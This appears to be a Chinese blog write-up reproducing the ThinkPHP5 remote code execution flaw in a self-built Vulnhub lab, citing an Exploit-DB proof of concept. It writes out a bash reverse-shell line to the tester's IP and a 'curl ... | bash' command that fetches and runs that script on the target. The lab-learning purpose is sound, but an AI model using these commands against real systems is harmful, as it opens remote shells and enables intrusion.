美文网首页
Vulnhub-ThinkPHP5 任意代码执行漏洞

Vulnhub-ThinkPHP5 任意代码执行漏洞

作者: M0nkeyK1ng | 来源:发表于2020-09-26 14:51 被阅读0次

郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

漏洞简述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本:5.0.22、5.1.29

准备环境

测试机IP:192.168.79.129

靶机IP:192.168.79.131

1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现

POC 引用:https://www.exploit-db.com/exploits/46150

准备反弹Shell文件shell.sh

bash -i >& /dev/tcp/192.168.79.129/4444 0>&1

启http server

使用NC侦听反弹端口

执行命令

curl 192.168.79.129/shell.sh | bash

得到反弹Shell

关闭环境

相关文章

网友评论

      本文标题:Vulnhub-ThinkPHP5 任意代码执行漏洞

      本文链接:https://www.haomeiwen.com/subject/kujcuktx.html